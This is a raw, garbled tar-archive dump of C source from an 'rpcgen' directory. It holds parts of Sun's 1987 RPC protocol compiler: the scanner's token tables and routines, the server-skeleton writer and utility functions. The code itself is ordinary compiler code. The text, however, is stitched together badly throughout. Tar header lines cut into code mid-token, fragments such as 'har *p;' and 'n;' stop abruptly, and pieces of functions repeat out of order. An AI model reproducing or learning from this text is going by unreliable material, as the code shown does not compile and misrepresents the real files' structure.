  20360. .if (*p == '0' && *(p + 1) == 'x') {
  20361. ..p++;
  20362. ..do {
  20363. ...p++;
  20364. ..} while (isxdigit(*p));
  20365. .} else {
  20366. ..do {
  20367. ...p++;
  20368. ..} while (isdigit(*p));
  20369. .}
  20370. .size = p - *str;
  20371. .*val = alloc(size + 1);
  20372. .(void) strncpy(*val, *str, size);
  20373. .(*val)[size] = 0;
  20374. .*str = p;
  20375. }
  20376.  
  20377.  
  20378.  
  20379. static token symbols[] = {
  20380. ...  {TOK_CONST, "const"},
  20381. ...  {TOK_UNION, "union"},
  20382. ...  {TOK_SWITCH, "switch"},
  20383. ...  {TOK_CASE, "case"},
  20384. ...  {TOK_DEFAULT, "default"},
  20385. ...  {TOK_STRUCT, "struct"},
  20386. ...  {TOK_TYPEDEF, "typedef"},
  20387. ...  {TOK_ENUM, "enum"},
  20388. ...  {TOK_OPAQUE, "opaque"},
  20389. ...  {TOK_BOOL, "bool"},
  20390. ...  {TOK_VOID, "void"},
  20391. ...  {TOK_CHAR, "char"},
  20392. ...  {TOK_INT, "int"},
  20393. ...  {TOK_UNSIGNED, "unsigned"},
  20394. ...  {TOK_SHORT, "short"},
  20395. ...  {TOK_LONG, "long"},
  20396. ...  {TOK_FLOAT, "float"},
  20397. ...  {TOK_DOUBLE, "double"},
  20398. ...  {TOK_STRING, "string"},
  20399. ...  {TOK_PROGRAM, "program"},
  20400. ...  {TOK_VERSION, "version"},
  20401. ...  {TOK_EOF, "??????"},
  20402. };
  20403.  
  20404.  
  20405. static
  20406. findkind(mark, tokp)
  20407. .char **mark;
  20408. .token *tokp;
  20409. {
  20410.  
  20411. .int len;
  20412. .token *s;
  20413. .char *str;
  20414.  
  20415. .str = *mark;
  20416. .for (s = symbols; s->kind != TOK_EOF; s++) {
  20417. ..len = strlen(s->str);
  20418. ..if (strncmp(str, s->str, len) == 0) {
  20419. ...if (!isalnum(str[len]) && str[len] != '_') {
  20420. ....tokp->kind = s->kind;
  20421. ....tokp->str = s->str;
  20422. ....*mark = str + len;
  20423. ....return;
  20424. ...}
  20425. ..}
  20426. .}
  20427. .tokp->kind = TOK_IDENT;
  20428. .for (len = 0; isalnum(str[len]) || str[len] == '_'; len++);
  20429. .tokp->str = alloc(len + 1);
  20430. .(void) strncpy(tokp->str, str, len);
  20431. .tokp->str[len] = 0;
  20432. .*mark = str + len;
  20433. }
  20434.  
  20435. static
  20436. cppline(line)
  20437. .char *line;
  20438. {
  20439. .return (line == curline && *line == '#');
  20440. }
  20441.  
  20442. static
  20443. directive(line)
  20444. .char *line;
  20445. {
  20446. .return (line == curline && *line == '%');
  20447. }
  20448.  
  20449. static
  20450. printdirective(line)
  20451. .char *line;
  20452. {
  20453. .f_print(fout, "%s", line + 1);
  20454. }
  20455.  
  20456. static
  20457. docppline(line, lineno, fname)
  20458. .char *line;
  20459. .int *lineno;
  20460. .char **fname;
  20461. {
  20462. .char *file;
  20463. .int num;
  20464. .char *p;
  20465.  
  20466. .line++;
  20467. .while (isspace(*line)) {
  20468. ..line++;
  20469. .}
  20470. .num = atoi(line);
  20471. .while (isdigit(*line)) {
  20472. ..line++;
  20473. .}
  20474. .while (isspace(*line)) {
  20475. ..line++;
  20476. .}
  20477. .if (*line != '"') {
  20478. ..error("preprocessor error");
  20479. .}
  20480. .line++;
  20481. .p = file = alloc(strlen(line) + 1);
  20482. .while (*line && *line != '"') {
  20483. ..*p++ = *line++;
  20484. .}
  20485. .if (*line == 0) {
  20486. ..error("preprocessor error");
  20487. .}
  20488. .*p = 0;
  20489. .if (*file == 0) {
  20490. ..*fname = NULL;
  20491. .} else {
  20492. ..*fname = file;
  20493. .}
  20494. .*lineno = num - 1;
  20495. }
  20496. {
  20497. .case ':':
  20498. ..tokp->kind = TOK_COLON;
  20499. ..where++;
  20500. ..break;
  20501. .case ';':
  20502. ..tokp->kind = TOK_SEMICOLON;
  20503. ..where++;
  20504. ..break;
  20505. .case ',':
  20506. ..tokp->kind = TOK_COMMA;
  20507. ..where++;
  20508. ..break;
  20509. .case '=':
  20510. ..tokp->kind = TOK_EQUAL;
  20511. ..where++;
  20512. ..break;
  20513. .case '*':
  20514. ..tokp->kind = TOsatan-1.1.1/src/rpcgen/rpc_scan.h...................................................................   400 .   465 .   506 .       4323  4456447226  11714. ....................................................................................
  20515. .................................................................................................................................................................................................................................................................
  20516. .............../* @(#)rpc_scan.h.2.1 88/08/01 4.0 RPCSRC */
  20517. /*
  20518.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  20519.  * unrestricted use provided that this legend is included on all tape
  20520.  * media and as a part of the software program in whole or part.  Users
  20521.  * may copy or modify Sun RPC without charge, but are not authorized
  20522.  * to license or distribute it to anyone else except as part of a product or
  20523.  * program developed by the user.
  20524.  * 
  20525.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  20526.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  20527.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  20528.  * 
  20529.  * Sun RPC is provided with no support and without any obligation on the
  20530.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  20531.  * modification or enhancement.
  20532.  * 
  20533.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  20534.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  20535.  * OR ANY PART THEREOF.
  20536.  * 
  20537.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  20538.  * or profits or other special, indirect and consequential damages, even if
  20539.  * Sun has been advised of the possibility of such damages.
  20540.  * 
  20541.  * Sun Microsystems, Inc.
  20542.  * 2550 Garcia Avenue
  20543.  * Mountain View, California  94043
  20544.  */
  20545. /* @(#)rpc_scan.h 1.3 87/03/09 (C) 1987 SMI */
  20546.  
  20547. /*
  20548.  * rpc_scan.h, Definitions for the RPCL scanner 
  20549.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  20550.  */
  20551.  
  20552. /*
  20553.  * kinds of tokens 
  20554.  */
  20555. enum tok_kind {
  20556. .TOK_IDENT,
  20557. .TOK_STRCONST,
  20558. .TOK_LPAREN,
  20559. .TOK_RPAREN,
  20560. .TOK_LBRACE,
  20561. .TOK_RBRACE,
  20562. .TOK_LBRACKET,
  20563. .TOK_RBRACKET,
  20564. .TOK_LANGLE,
  20565. .TOK_RANGLE,
  20566. .TOK_STAR,
  20567. .TOK_COMMA,
  20568. .TOK_EQUAL,
  20569. .TOK_COLON,
  20570. .TOK_SEMICOLON,
  20571. .TOK_CONST,
  20572. .TOK_STRUCT,
  20573. .TOK_UNION,
  20574. .TOK_SWITCH,
  20575. .TOK_CASE,
  20576. .TOK_DEFAULT,
  20577. .TOK_ENUM,
  20578. .TOK_TYPEDEF,
  20579. .TOK_INT,
  20580. .TOK_SHORT,
  20581. .TOK_LONG,
  20582. .TOK_UNSIGNED,
  20583. .TOK_FLOAT,
  20584. .TOK_DOUBLE,
  20585. .TOK_OPAQUE,
  20586. .TOK_CHAR,
  20587. .TOK_STRING,
  20588. .TOK_BOOL,
  20589. .TOK_VOID,
  20590. .TOK_PROGRAM,
  20591. .TOK_VERSION,
  20592. .TOK_EOF
  20593. };
  20594. typedef enum tok_kind tok_kind;
  20595.  
  20596. /*
  20597.  * a token 
  20598.  */
  20599. struct token {
  20600. .tok_kind kind;
  20601. .char *str;
  20602. };
  20603. typedef struct token token;
  20604.  
  20605.  
  20606. /*
  20607.  * routine interface 
  20608.  */
  20609. void scanprint();
  20610. void scan();
  20611. void scan2();
  20612. void scan3();
  20613. void scan_num();
  20614. void peek();
  20615. int peekscan();
  20616. void get_token();
  20617. har *p;
  20618. .int size;
  20619.  
  20620. .p = *str;
  20621. .do {
  20622. ..*p++;
  20623. .} while (*p && *p != '"');
  20624. .if (*p == 0) {
  20625. ..error("unterminated string constant");
  20626. .}
  20627. .p++;
  20628. .size = p - *str;
  20629. .*val = alloc(size + 1);
  20630. .(void) strncpy(*val, *str, size);
  20631. .(*val)[size] = 0;
  20632. .*str = p;
  20633. }
  20634.  
  20635. static
  20636. findconst(str, val)
  20637. .char **str;
  20638. .char **valsatan-1.1.1/src/rpcgen/rpc_svcout.c.................................................................   600 .   465 .   506 .      16360  5741525624  12331. ..........................................................................................
  20639. .................................................................................................................................................................................................................................................................
  20640. ........./* @(#)rpc_svcout.c.2.1 88/08/01 4.0 RPCSRC */
  20641. /*
  20642.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  20643.  * unrestricted use provided that this legend is included on all tape
  20644.  * media and as a part of the software program in whole or part.  Users
  20645.  * may copy or modify Sun RPC without charge, but are not authorized
  20646.  * to license or distribute it to anyone else except as part of a product or
  20647.  * program developed by the user.
  20648.  * 
  20649.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  20650.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  20651.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  20652.  * 
  20653.  * Sun RPC is provided with no support and without any obligation on the
  20654.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  20655.  * modification or enhancement.
  20656.  * 
  20657.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  20658.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  20659.  * OR ANY PART THEREOF.
  20660.  * 
  20661.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  20662.  * or profits or other special, indirect and consequential damages, even if
  20663.  * Sun has been advised of the possibility of such damages.
  20664.  * 
  20665.  * Sun Microsystems, Inc.
  20666.  * 2550 Garcia Avenue
  20667.  * Mountain View, California  94043
  20668.  */
  20669. #ifndef lint
  20670. static char sccsid[] = "@(#)rpc_svcout.c 1.6 87/06/24 (C) 1987 SMI";
  20671. #endif
  20672.  
  20673. /*
  20674.  * rpc_svcout.c, Server-skeleton outputter for the RPC protocol compiler
  20675.  * Copyright (C) 1987, Sun Microsytsems, Inc. 
  20676.  */
  20677. #include <stdio.h>
  20678. #include <stdlib.h>
  20679. #include <unistd.h>
  20680. #include <string.h>
  20681. #include "rpc_parse.h"
  20682. #include "rpc_util.h"
  20683.  
  20684. static char RQSTP[] = "rqstp";
  20685. static char TRANSP[] = "transp";
  20686. static char ARG[] = "argument";
  20687. static char RESULT[] = "result";
  20688. static char ROUTINE[] = "local";
  20689.  
  20690. static write_program();
  20691. static printerr();
  20692. static printif();
  20693.  
  20694. /*
  20695.  * write most of the service, that is, everything but the registrations. 
  20696.  */
  20697. void
  20698. write_most()
  20699. {
  20700. .list *l;
  20701. .definition *def;
  20702. .version_list *vp;
  20703.  
  20704. .for (l = defined; l != NULL; l = l->next) {
  20705. ..def = (definition *) l->val;
  20706. ..if (def->def_kind == DEF_PROGRAM) {
  20707. ...for (vp = def->def.pr.versions; vp != NULL; vp = vp->next) {
  20708. ....f_print(fout, "\nstatic void ");
  20709. ....pvname(def->def_name, vp->vers_num);
  20710. ....f_print(fout, "();");
  20711. ...}
  20712. ..}
  20713. .}
  20714. .f_print(fout, "\n\n");
  20715. .f_print(fout, "main()\n");
  20716. .f_print(fout, "{\n");
  20717. .f_print(fout, "\tSVCXPRT *%s;\n", TRANSP);
  20718. .f_print(fout, "\n");
  20719. .for (l = defined; l != NULL; l = l->next) {
  20720. ..def = (definition *) l->val;
  20721. ..if (def->def_kind != DEF_PROGRAM) {
  20722. ...continue;
  20723. ..}
  20724. ..for (vp = def->def.pr.versions; vp != NULL; vp = vp->next) {
  20725.  ...f_print(fout, "\t(void)pmap_unset(%s, %s);\n", def->def_name, vp->vers_name);
  20726. ..}
  20727. .}
  20728. }
  20729.  
  20730.  
  20731. /*
  20732.  * write a registration for the given transport 
  20733.  */
  20734. void
  20735. write_register(transp)
  20736. .char *transp;
  20737. {
  20738. .list *l;
  20739. .definition *def;
  20740. .version_list *vp;
  20741.  
  20742. .f_print(fout, "\n");
  20743. .f_print(fout, "\t%s = svc%s_create(RPC_ANYSOCK", TRANSP, transp);
  20744. .if (streq(transp, "tcp")) {
  20745. ..f_print(fout, ", 0, 0");
  20746. .}
  20747. .f_print(fout, ");\n");
  20748. .f_print(fout, "\tif (%s == NULL) {\n", TRANSP);
  20749.  .f_print(fout, "\t\t(void)fprintf(stderr, \"cannot create %s service.\\n\");\n", transp);
  20750. .f_print(fout, "\t\texit(1);\n");
  20751. .f_print(fout, "\t}\n");
  20752.  
  20753. .for (l = defined; l != NULL; l = l->next) {
  20754. ..def = (definition *) l->val;
  20755. ..if (def->def_kind != DEF_PROGRAM) {
  20756. ...continue;
  20757. ..}
  20758. ..for (vp = def->def.pr.versions; vp != NULL; vp = vp->next) {
  20759. ...f_print(fout,
  20760. ...."\tif (!svc_register(%s, %s, %s, ",
  20761. ....TRANSP, def->def_name, vp->vers_name);
  20762. ...pvname(def->def_name, vp->vers_num);
  20763. ...f_print(fout, ", IPPROTO_%s)) {\n",
  20764. ....streq(transp, "udp") ? "UDP" : "TCP");
  20765. ...f_print(fout,
  20766.  ...."\t\t(void)fprintf(stderr, \"unable to register (%s, %s, %s).\\n\");\n",
  20767. ....def->def_name, vp->vers_name, transp);
  20768. ...f_print(fout, "\t\texit(1);\n");
  20769. ...f_print(fout, "\t}\n");
  20770. ..}
  20771. .}
  20772. }
  20773.  
  20774.  
  20775. /*
  20776.  * write the rest of the service 
  20777.  */
  20778. void
  20779. write_rest()
  20780. {
  20781. .f_print(fout, "\tsvc_run();\n");
  20782.  .f_print(fout, "\t(void)fprintf(stderr, \"svc_run returned\\n\");\n");
  20783. .f_print(fout, "\texit(1);\n");
  20784. .f_print(fout, "}\n");
  20785. }
  20786.  
  20787. void
  20788. write_programs(storage)
  20789. .char *storage;
  20790. {
  20791. .list *l;
  20792. .definition *def;
  20793.  
  20794. .for (l = defined; l != NULL; l = l->next) {
  20795. ..def = (definition *) l->val;
  20796. ..if (def->def_kind == DEF_PROGRAM) {
  20797. ...write_program(def, storage);
  20798. ..}
  20799. .}
  20800. }
  20801.  
  20802.  
  20803. static
  20804. write_program(def, storage)
  20805. .definition *def;
  20806. .char *storage;
  20807. {
  20808. .version_list *vp;
  20809. .proc_list *proc;
  20810. .int filled;
  20811.  
  20812. .for (vp = def->def.pr.versions; vp != NULL; vp = vp->next) {
  20813. ..f_print(fout, "\n");
  20814. ..if (storage != NULL) {
  20815. ...f_print(fout, "%s ", storage);
  20816. ..}
  20817. ..f_print(fout, "void\n");
  20818. ..pvname(def->def_name, vp->vers_num);
  20819. ..f_print(fout, "(%s, %s)\n", RQSTP, TRANSP);
  20820. ..f_print(fout, ".struct svc_req *%s;\n", RQSTP);
  20821. ..f_print(fout, ".SVCXPRT *%s;\n", TRANSP);
  20822. ..f_print(fout, "{\n");
  20823.  
  20824. ..filled = 0;
  20825. ..f_print(fout, "\tunion {\n");
  20826. ..for (proc = vp->procs; proc != NULL; proc = proc->next) {
  20827. ...if (streq(proc->arg_type, "void")) {
  20828. ....continue;
  20829. ...}
  20830. ...filled = 1;
  20831. ...f_print(fout, "\t\t");
  20832. ...ptype(proc->arg_prefix, proc->arg_type, 0);
  20833. ...pvname(proc->proc_name, vp->vers_num);
  20834. ...f_print(fout, "_arg;\n");
  20835. ..}
  20836. ..if (!filled) {
  20837. ...f_print(fout, "\t\tint fill;\n");
  20838. ..}
  20839. ..f_print(fout, "\t} %s;\n", ARG);
  20840. ..f_print(fout, "\tchar *%s;\n", RESULT);
  20841. ..f_print(fout, "\tbool_t (*xdr_%s)(), (*xdr_%s)();\n", ARG, RESULT);
  20842. ..f_print(fout, "\tchar *(*%s)();\n", ROUTINE);
  20843. ..f_print(fout, "\n");
  20844. ..f_print(fout, "\tswitch (%s->rq_proc) {\n", RQSTP);
  20845.  
  20846. ..if (!nullproc(vp->procs)) {
  20847. ...f_print(fout, "\tcase NULLPROC:\n");
  20848.  ...f_print(fout, "\t\t(void)svc_sendreply(%s, xdr_void, (char *)NULL);\n", TRANSP);
  20849. ...f_print(fout, "\t\treturn;\n\n");
  20850. ..}
  20851. ..for (proc = vp->procs; proc != NULL; proc = proc->next) {
  20852. ...f_print(fout, "\tcase %s:\n", proc->proc_name);
  20853. ...f_print(fout, "\t\txdr_%s = xdr_%s;\n", ARG, 
  20854. ....stringfix(proc->arg_type));
  20855. ...f_print(fout, "\t\txdr_%s = xdr_%s;\n", RESULT, 
  20856. ....stringfix(proc->res_type));
  20857. ...f_print(fout, "\t\t%s = (char *(*)()) ", ROUTINE);
  20858. ...pvname(proc->proc_name, vp->vers_num);
  20859. ...f_print(fout, ";\n");
  20860. ...f_print(fout, "\t\tbreak;\n\n");
  20861. ..}
  20862. ..f_print(fout, "\tdefault:\n");
  20863. ..printerr("noproc", TRANSP);
  20864. ..f_print(fout, "\t\treturn;\n");
  20865. ..f_print(fout, "\t}\n");
  20866.  
  20867.  ..f_print(fout, "\tmemset((char *)&%s, 0, sizeof(%s));\n", ARG, ARG);
  20868. ..printif("getargs", TRANSP, "&", ARG);
  20869. ..printerr("decode", TRANSP);
  20870. ..f_print(fout, "\t\treturn;\n");
  20871. ..f_print(fout, "\t}\n");
  20872.  
  20873. ..f_print(fout, "\t%s = (*%s)(&%s, %s);\n", RESULT, ROUTINE, ARG,
  20874. ...RQSTP);
  20875. ..f_print(fout, 
  20876. ..."\tif (%s != NULL && !svc_sendreply(%s, xdr_%s, %s)) {\n",
  20877. ...RESULT, TRANSP, RESULT, RESULT);
  20878. ..printerr("systemerr", TRANSP);
  20879. ..f_print(fout, "\t}\n");
  20880.  
  20881. ..printif("freeargs", TRANSP, "&", ARG);
  20882.  ..f_print(fout, "\t\t(void)fprintf(stderr, \"unable to free arguments\\n\");\n");
  20883. ..f_print(fout, "\t\texit(1);\n");
  20884. ..f_print(fout, "\t}\n");
  20885.  
  20886. ..f_print(fout, "}\n\n");
  20887. .}
  20888. }
  20889.  
  20890. static
  20891. printerr(err, transp)
  20892. .char *err;
  20893. .char *transp;
  20894. {
  20895. .f_print(fout, "\t\tsvcerr_%s(%s);\n", err, transp);
  20896. }
  20897.  
  20898. static
  20899. printif(proc, transp, prefix, arg)
  20900. .char *proc;
  20901. .char *transp;
  20902. .char *prefix;
  20903. .char *arg;
  20904. {
  20905. .f_print(fout, "\tif (!svc_%s(%s, xdr_%s, %s%s)) {\n",
  20906. ..proc, transp, arg, prefix, arg);
  20907. }
  20908.  
  20909.  
  20910. nullproc(proc)
  20911. .proc_list *proc;
  20912. {
  20913. .for (; proc != NULL; proc = proc->next) {
  20914. ..if (streq(proc->proc_num, "0")) {
  20915. ...return (1);
  20916. ..}
  20917. .}
  20918. .return (0);
  20919. }
  20920. n;
  20921. ....return;
  20922. ...}
  20923. ..}
  20924. .}
  20925. .tokp->kind = TOK_IDENT;
  20926. .for (len = 0; isalnum(str[len]) || str[len] == '_'; len++);
  20927. .tokp->str = alloc(len + 1);
  20928. .(void) strncpy(tokp->str, str, len);
  20929. .tokp->str[len] = 0;
  20930. .*mark = str + len;
  20931. }
  20932.  
  20933. static
  20934. cppline(line)
  20935. .char *line;
  20936. {
  20937. .return (linsatan-1.1.1/src/rpcgen/rpc_util.c...................................................................   600 .   465 .   506 .      17237  5741525632  11766. .........................................................................................
  20938. .................................................................................................................................................................................................................................................................
  20939. ........../* @(#)rpc_util.c.2.1 88/08/01 4.0 RPCSRC */
  20940. /*
  20941.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  20942.  * unrestricted use provided that this legend is included on all tape
  20943.  * media and as a part of the software program in whole or part.  Users
  20944.  * may copy or modify Sun RPC without charge, but are not authorized
  20945.  * to license or distribute it to anyone else except as part of a product or
  20946.  * program developed by the user.
  20947.  * 
  20948.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  20949.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  20950.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  20951.  * 
  20952.  * Sun RPC is provided with no support and without any obligation on the
  20953.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  20954.  * modification or enhancement.
  20955.  * 
  20956.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  20957.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  20958.  * OR ANY PART THEREOF.
  20959.  * 
  20960.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  20961.  * or profits or other special, indirect and consequential damages, even if
  20962.  * Sun has been advised of the possibility of such damages.
  20963.  * 
  20964.  * Sun Microsystems, Inc.
  20965.  * 2550 Garcia Avenue
  20966.  * Mountain View, California  94043
  20967.  */
  20968. #ifndef lint
  20969. static char sccsid[] = "@(#)rpc_util.c 1.5 87/06/24 (C) 1987 SMI";
  20970. #endif
  20971.  
  20972. /*
  20973.  * rpc_util.c, Utility routines for the RPC protocol compiler 
  20974.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  20975.  */
  20976. #include <stdlib.h>
  20977. #include <unistd.h>
  20978. #include <stdio.h>
  20979. #include "rpc_scan.h"
  20980. #include "rpc_parse.h"
  20981. #include "rpc_util.h"
  20982.  
  20983. char curline[MAXLINESIZE];./* current read line */
  20984. char *where = curline;./* current point in line */
  20985. int linenum = 0;./* current line number */
  20986.  
  20987. char *infilename;./* input filename */
  20988.  
  20989. #define NFILES 4
  20990. char *outfiles[NFILES];./* output file names */
  20991. int nfiles;
  20992.  
  20993. FILE *fout;./* file pointer of current output */
  20994. FILE *fin;./* file pointer of current input */
  20995.  
  20996. list *defined;./* list of defined things */
  20997.  
  20998. static printwhere();
  20999.  
  21000. /*
  21001.  * Reinitialize the world 
  21002.  */
  21003. reinitialize()
  21004. {
  21005. .memset(curline, 0, MAXLINESIZE);
  21006. .where = curline;
  21007. .linenum = 0;
  21008. .defined = NULL;
  21009. }
  21010.  
  21011. /*
  21012.  * string equality 
  21013.  */
  21014. streq(a, b)
  21015. .char *a;
  21016. .char *b;
  21017. {
  21018. .return (strcmp(a, b) == 0);
  21019. }
  21020.  
  21021. /*
  21022.  * find a value in a list 
  21023.  */
  21024. char *
  21025. findval(lst, val, cmp)
  21026. .list *lst;
  21027. .char *val;
  21028. .int (*cmp) ();
  21029.  
  21030. {
  21031. .for (; lst != NULL; lst = lst->next) {
  21032. ..if ((*cmp) (lst->val, val)) {
  21033. ...return (lst->val);
  21034. ..}
  21035. .}
  21036. .return (NULL);
  21037. }
  21038.  
  21039. /*
  21040.  * store a value in a list 
  21041.  */
  21042. void
  21043. storeval(lstp, val)
  21044. .list **lstp;
  21045. .char *val;
  21046. {
  21047. .list **l;
  21048. .list *lst;
  21049.  
  21050. .for (l = lstp; *l != NULL; l = (list **) & (*l)->next);
  21051. .lst = ALLOC(list);
  21052. .lst->val = val;
  21053. .lst->next = NULL;
  21054. .*l = lst;
  21055. }
  21056.  
  21057.  
  21058. static
  21059. findit(def, type)
  21060. .definition *def;
  21061. .char *type;
  21062. {
  21063. .return (streq(def->def_name, type));
  21064. }
  21065.  
  21066.  
  21067. static char *
  21068. fixit(type, orig)
  21069. .char *type;
  21070. .char *orig;
  21071. {
  21072. .definition *def;
  21073.  
  21074. .def = (definition *) FINDVAL(defined, type, findit);
  21075. .if (def == NULL || def->def_kind != DEF_TYPEDEF) {
  21076. ..return (orig);
  21077. .}
  21078. .switch (def->def.ty.rel) {
  21079. .case REL_VECTOR:
  21080. ..return (def->def.ty.old_type);
  21081. .case REL_ALIAS:
  21082. ..return (fixit(def->def.ty.old_type, orig));
  21083. .default:
  21084. ..return (orig);
  21085. .}
  21086. }
  21087.  
  21088. char *
  21089. fixtype(type)
  21090. .char *type;
  21091. {
  21092. .return (fixit(type, type));
  21093. }
  21094.  
  21095. char *
  21096. stringfix(type)
  21097. .char *type;
  21098. {
  21099. .if (streq(type, "string")) {
  21100. ..return ("wrapstring");
  21101. .} else {
  21102. ..return (type);
  21103. .}
  21104. }
  21105.  
  21106. void
  21107. ptype(prefix, type, follow)
  21108. .char *prefix;
  21109. .char *type;
  21110. .int follow;
  21111. {
  21112. .if (prefix != NULL) {
  21113. ..if (streq(prefix, "enum")) {
  21114. ...f_print(fout, "enum ");
  21115. ..} else {
  21116. ...f_print(fout, "struct ");
  21117. ..}
  21118. .}
  21119. .if (streq(type, "bool")) {
  21120. ..f_print(fout, "bool_t ");
  21121. .} else if (streq(type, "string")) {
  21122. ..f_print(fout, "char *");
  21123. .} else {
  21124. ..f_print(fout, "%s ", follow ? fixtype(type) : type);
  21125. .}
  21126. }
  21127.  
  21128.  
  21129. static
  21130. typedefed(def, type)
  21131. .definition *def;
  21132. .char *type;
  21133. {
  21134. .if (def->def_kind != DEF_TYPEDEF || def->def.ty.old_prefix != NULL) {
  21135. ..return (0);
  21136. .} else {
  21137. ..return (streq(def->def_name, type));
  21138. .}
  21139. }
  21140.  
  21141. isvectordef(type, rel)
  21142. .char *type;
  21143. .relation rel;
  21144. {
  21145. .definition *def;
  21146.  
  21147. .for (;;) {
  21148. ..switch (rel) {
  21149. ..case REL_VECTOR:
  21150. ...return (!streq(type, "string"));
  21151. ..case REL_ARRAY:
  21152. ...return (0);
  21153. ..case REL_POINTER:
  21154. ...return (0);
  21155. ..case REL_ALIAS:
  21156. ...def = (definition *) FINDVAL(defined, type, typedefed);
  21157. ...if (def == NULL) {
  21158. ....return (0);
  21159. ...}
  21160. ...type = def->def.ty.old_type;
  21161. ...rel = def->def.ty.rel;
  21162. ..}
  21163. .}
  21164. }
  21165.  
  21166.  
  21167. static char *
  21168. locase(str)
  21169. .char *str;
  21170. {
  21171. .char c;
  21172. .static char buf[100];
  21173. .char *p = buf;
  21174.  
  21175. .while (c = *str++) {
  21176. ..*p++ = (c >= 'A' && c <= 'Z') ? (c - 'A' + 'a') : c;
  21177. .}
  21178. .*p = 0;
  21179. .return (buf);
  21180. }
  21181.  
  21182.  
  21183. void
  21184. pvname(pname, vnum)
  21185. .char *pname;
  21186. .char *vnum;
  21187. {
  21188. .f_print(fout, "%s_%s", locase(pname), vnum);
  21189. }
  21190.  
  21191.  
  21192. /*
  21193.  * print a useful (?) error message, and then die 
  21194.  */
  21195. void
  21196. error(msg)
  21197. .char *msg;
  21198. {
  21199. .printwhere();
  21200. .f_print(stderr, "%s, line %d: ", infilename, linenum);
  21201. .f_print(stderr, "%s\n", msg);
  21202. .crash();
  21203. }
  21204.  
  21205. /*
  21206.  * Something went wrong, unlink any files that we may have created and then
  21207.  * die. 
  21208.  */
  21209. crash()
  21210. {
  21211. .int i;
  21212.  
  21213. .for (i = 0; i < nfiles; i++) {
  21214. ..(void) unlink(outfiles[i]);
  21215. .}
  21216. .exit(1);
  21217. }
  21218.  
  21219.  
  21220. void
  21221. record_open(file)
  21222. .char *file;
  21223. {
  21224. .if (nfiles < NFILES) {
  21225. ..outfiles[nfiles++] = file;
  21226. .} else {
  21227. ..f_print(stderr, "too many files!\n");
  21228. ..crash();
  21229. .}
  21230. }
  21231.  
  21232. static char expectbuf[100];
  21233. static char *toktostr();
  21234.  
  21235. /*
  21236.  * error, token encountered was not the expected one 
  21237.  */
  21238. void
  21239. expected1(exp1)
  21240. .tok_kind exp1;
  21241. {
  21242. .s_print(expectbuf, "expected '%s'",
  21243. ..toktostr(exp1));
  21244. .error(expectbuf);
  21245. }
  21246.  
  21247. /*
  21248.  * error, token encountered was not one of two expected ones 
  21249.  */
  21250. void
  21251. expected2(exp1, exp2)
  21252. .tok_kind exp1, exp2;
  21253. {
  21254. .s_print(expectbuf, "expected '%s' or '%s'",
  21255. ..toktostr(exp1),
  21256. ..toktostr(exp2));
  21257. .error(expectbuf);
  21258. }
  21259.  
  21260. /*
  21261.  * error, token encountered was not one of 3 expected ones 
  21262.  */
  21263. void
  21264. expected3(exp1, exp2, exp3)
  21265. .tok_kind exp1, exp2, exp3;
  21266. {
  21267. .s_print(expectbuf, "expected '%s', '%s' or '%s'",
  21268. ..toktostr(exp1),
  21269. ..toktostr(exp2),
  21270. ..toktostr(exp3));
  21271. .error(expectbuf);
  21272. }
  21273.  
  21274. void
  21275. tabify(f, tab)
  21276. .FILE *f;
  21277. .int tab;
  21278. {
  21279. .while (tab--) {
  21280. ..(void) fputc('\t', f);
  21281. .}
  21282. }
  21283.  
  21284.  
  21285.  
  21286. static token tokstrings[] = {
  21287. ...     {TOK_IDENT, "identifier"},
  21288. ...     {TOK_CONST, "const"},
  21289. ...     {TOK_RPAREN, ")"},
  21290. ...     {TOK_LPAREN, "("},
  21291. ...     {TOK_RBRACE, "}"},
  21292. ...     {TOK_LBRACE, "{"},
  21293. ...     {TOK_LBRACKET, "["},
  21294. ...     {TOK_RBRACKET, "]"},
  21295. ...     {TOK_STAR, "*"},
  21296. ...     {TOK_COMMA, ","},
  21297. ...     {TOK_EQUAL, "="},
  21298. ...     {TOK_COLON, ":"},
  21299. ...     {TOK_SEMICOLON, ";"},
  21300. ...     {TOK_UNION, "union"},
  21301. ...     {TOK_STRUCT, "struct"},
  21302. ...     {TOK_SWITCH, "switch"},
  21303. ...     {TOK_CASE, "case"},
  21304. ...     {TOK_DEFAULT, "default"},
  21305. ...     {TOK_ENUM, "enum"},
  21306. ...     {TOK_TYPEDEF, "typedef"},
  21307. ...     {TOK_INT, "int"},
  21308. ...     {TOK_SHORT, "short"},
  21309. ...     {TOK_LONG, "long"},
  21310. ...     {TOK_UNSIGNED, "unsigned"},
